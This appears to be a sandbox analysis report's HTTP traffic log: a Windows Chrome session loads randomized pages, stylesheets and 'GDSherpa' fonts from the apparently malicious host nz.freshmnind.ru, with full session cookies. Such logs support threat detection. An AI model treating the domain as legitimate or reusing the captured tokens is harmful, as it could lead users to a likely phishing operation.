Source: global traffic	HTTP traffic detected: GET /E9nFcFhuAwW2u/ HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ims1dkFhT0NBMjBsT3hqbTZZYjE5MlE9PSIsInZhbHVlIjoiNVMvc1J2aGhVaW85WmVjVEpUZU5hVWpySXVaKzJ5clE1M3Y0aUZxa21RNWwwdmpleFltNHowenphYkNTNFZISjY3VkErNlg4SVJKbjc4YVhDNUhvSjRlY21MZDBNOS9IUkdIUUg5V2NhYnNXTVhFeTY1bE44RWhiWlFDN2VKejgiLCJtYWMiOiJkOWZhMGRmNmRlMmY5NDdiNTA2NmJlNmRmZTMxNTk3ZWJiMmU3OWE3MDc2Y2VlNTQ0ZWZlMzk5ZTllMzUyNjExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InluSVQwSzZ0OVl0b1RBVkNhNGZKcWc9PSIsInZhbHVlIjoicm9OV0FLeFFTbmZDYVoybUt5M3YwNUl1aTY5a0N4alUvclBnTDMwaktVd2NEN1BKdEViOWIzdVI0TnpBVmdLVVdwYXQ2VVZRS1VacW9oQitaK1dZY1pRZVYwTE5ITE5hekNWY2VCVDZJUEFXM3ZwY1hsUFo2OW9tRVBvZ0Q3NEEiLCJtYWMiOiI3OWIxNDMxMmQ3OGRlZjRhMzY5MTQ5OTBkMDhmMDM0ODg1MGRkNzdmMTI5MzhkMTE1NjQxYjhjMDM2MDAzMzcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNTQlgyR25BVlBobHg0bEViVWpYRGc9PSIsInZhbHVlIjoiTnh6b0F0cnpNajVTQjJEaHlaWTgwcWRwa0l3UngyL0RLcGU0dC9kWWVDdVJUK3k4YVZvMFZXZFA4cWd1Tys5ZnFpV2ZlbHEwbGVBUTNHbWNnWXRPdnFFMjkxM2VmRlRqMmlDcTlwalVVM1F3RUdXSmc5cGRxbW9vam9EU3NkWUkiLCJtYWMiOiI5YWMzM2JiM2E2ZDIzZjRjMzI0MTJjZGU5ZTBiN2NjNTg1NTI3YmVkN2IzM2QyZTY5NmY1NDlmOThjZWJiZmMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5pTWVVUGs4UU85cHNNSU5KT2NSSFE9PSIsInZhbHVlIjoiTEZncXE3QmMvUmZMRytqeXZ6QlRYbjJGRHNLMC9rZTNkL0o1ZGFvcnpVYkFxK3Z3NUtHTmZ1Zk84dFJXbkwydVVmWXFQNUR2MHk2VCt2NFhsVWdHeSs2REp2Y3VGSW5tUFlpdDNWd0R6RSsvU3pyQ3dsUUNGR1JaR3RpRFhjQWoiLCJtYWMiOiJhNTYyNmU1NWViMzI4MjkzNDc3YTYzNGJhMWFlNDYyMzhmYzhjNDg0ZWZmNGI0MzdkZjQ4NTAzNTRlOTI2ZGJkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr8iA8xuH5u4Qduqk2y9GGJKeVfpXPDCfu HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ims1dkFhT0NBMjBsT3hqbTZZYjE5MlE9PSIsInZhbHVlIjoiNVMvc1J2aGhVaW85WmVjVEpUZU5hVWpySXVaKzJ5clE1M3Y0aUZxa21RNWwwdmpleFltNHowenphYkNTNFZISjY3VkErNlg4SVJKbjc4YVhDNUhvSjRlY21MZDBNOS9IUkdIUUg5V2NhYnNXTVhFeTY1bE44RWhiWlFDN2VKejgiLCJtYWMiOiJkOWZhMGRmNmRlMmY5NDdiNTA2NmJlNmRmZTMxNTk3ZWJiMmU3OWE3MDc2Y2VlNTQ0ZWZlMzk5ZTllMzUyNjExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InluSVQwSzZ0OVl0b1RBVkNhNGZKcWc9PSIsInZhbHVlIjoicm9OV0FLeFFTbmZDYVoybUt5M3YwNUl1aTY5a0N4alUvclBnTDMwaktVd2NEN1BKdEViOWIzdVI0TnpBVmdLVVdwYXQ2VVZRS1VacW9oQitaK1dZY1pRZVYwTE5ITE5hekNWY2VCVDZJUEFXM3ZwY1hsUFo2OW9tRVBvZ0Q3NEEiLCJtYWMiOiI3OWIxNDMxMmQ3OGRlZjRhMzY5MTQ5OTBkMDhmMDM0ODg1MGRkNzdmMTI5MzhkMTE1NjQxYjhjMDM2MDAzMzcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nz.freshmnind.ru/E9nFcFhuAwW2u/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikc4QW5Od3lEbGVMYnJ3d1FzOUJoaWc9PSIsInZhbHVlIjoiOWF5NVhaV3VBY0E1Qy8xNmpRL282MUprU2c1d01uK3p6VWlrZmdlTnpTVnNwKzVPMU5VVlJSSCtwUXlxc3hnd29DQmNUcTNnQTdBTlAwTWs1UWN4U0ZaK1h1TlVmSFowSmN2R2pHYVlLMHRjYXpvS09aUEhqZ3dzN1ErbzhhaG8iLCJtYWMiOiI5YjkyNjUwYzBkNDQxN2RjZGE1Yjg2YmQ2OGJmNWViZWQyMWRiYjEzZDVhYWVkOTMyMWJlMjRjMzVjZDA4ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFOWmJGMEJpTjI1TnR3L1NEVTN5ZXc9PSIsInZhbHVlIjoiNXpnbFRoN3JkZHZpQW4wOW0wYUFQL1ZKTUVDNkJuMHRjVTRRMHlsRlpwalB0ckFOWldPbnRDNmNmTzZNeStaUEVIZUJGemtCdHpNT1NOSHdFWnpyZ0xHOEc2N244SnVEYndWRDVYSFcyYjBDVG1RQXhJU25CWEpFUWl3blZ2VEsiLCJtYWMiOiIzNjY4YTE5ZjU4Y2ZmNjIwZTY1ODhjZDc3YjVkMDRkZDA4ODlmYjVhMThiYzgzZDEwMTBiZjZkN2UzOTRkMjhhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqhMZrxcLmuSgWxr7Fiam5z0o7XZsftkrmXZqzaPSanAdSjy HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikc4QW5Od3lEbGVMYnJ3d1FzOUJoaWc9PSIsInZhbHVlIjoiOWF5NVhaV3VBY0E1Qy8xNmpRL282MUprU2c1d01uK3p6VWlrZmdlTnpTVnNwKzVPMU5VVlJSSCtwUXlxc3hnd29DQmNUcTNnQTdBTlAwTWs1UWN4U0ZaK1h1TlVmSFowSmN2R2pHYVlLMHRjYXpvS09aUEhqZ3dzN1ErbzhhaG8iLCJtYWMiOiI5YjkyNjUwYzBkNDQxN2RjZGE1Yjg2YmQ2OGJmNWViZWQyMWRiYjEzZDVhYWVkOTMyMWJlMjRjMzVjZDA4ZWI0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFOWmJGMEJpTjI1TnR3L1NEVTN5ZXc9PSIsInZhbHVlIjoiNXpnbFRoN3JkZHZpQW4wOW0wYUFQL1ZKTUVDNkJuMHRjVTRRMHlsRlpwalB0ckFOWldPbnRDNmNmTzZNeStaUEVIZUJGemtCdHpNT1NOSHdFWnpyZ0xHOEc2N244SnVEYndWRDVYSFcyYjBDVG1RQXhJU25CWEpFUWl3blZ2VEsiLCJtYWMiOiIzNjY4YTE5ZjU4Y2ZmNjIwZTY1ODhjZDc3YjVkMDRkZDA4ODlmYjVhMThiYzgzZDEwMTBiZjZkN2UzOTRkMjhhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56ffUPB0UvxyIJWyr6720 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xyQJjrmbb8pq3Pgh30 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveOrigin: https://nz.freshmnind.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveOrigin: https://nz.freshmnind.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveOrigin: https://nz.freshmnind.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveOrigin: https://nz.freshmnind.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T170805Z&X-Amz-Expires=300&X-Amz-Signature=1febf141a8e91b85dbc02a67f16988d39d43fc1e14af9362766842f7d499c156&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveOrigin: https://nz.freshmnind.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveOrigin: https://nz.freshmnind.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; 